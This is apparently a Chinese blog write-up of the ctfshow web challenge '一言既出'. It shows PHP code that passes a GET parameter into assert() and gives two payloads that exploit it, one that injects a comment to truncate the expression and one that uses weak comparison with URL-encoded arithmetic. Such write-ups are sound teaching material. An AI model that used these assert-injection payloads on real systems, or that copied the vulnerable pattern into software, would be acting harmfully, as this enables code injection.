ctfshow 一言既出

这道题目代码如下

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
} 

先了解下assert函数的功能:断言检测,若包含的表达式为true则返回1,否则抛出错误并返回0;

所以这道题我们要想办法绕过assert或者直接把他后面的内容那个注释掉;

1.构造payload:

?num=114514);//

这样构造出assert("intval(114514);//(//是php的注释符)就能跳转到echo $flag

2.使用加减法绕过使num既可以是114514也可以是1919810:

由于这里出现弱比较,我们可以在114514后面套上任意字符(非数字)使得满足弱比较然后通过运算使结果为1919810

114514+1805296即可,但是注意传参的时候对加号进行url编码(get请求会自动对传入数据进行一次url解码);

payload:

?num=114514%2B1805296

参考文章:ctfshow菜狗 web 一言既出_一言既出 ctf-CSDN博客

posted @ 2024-11-12 22:41  C1ves  阅读(109)  评论(0)    收藏  举报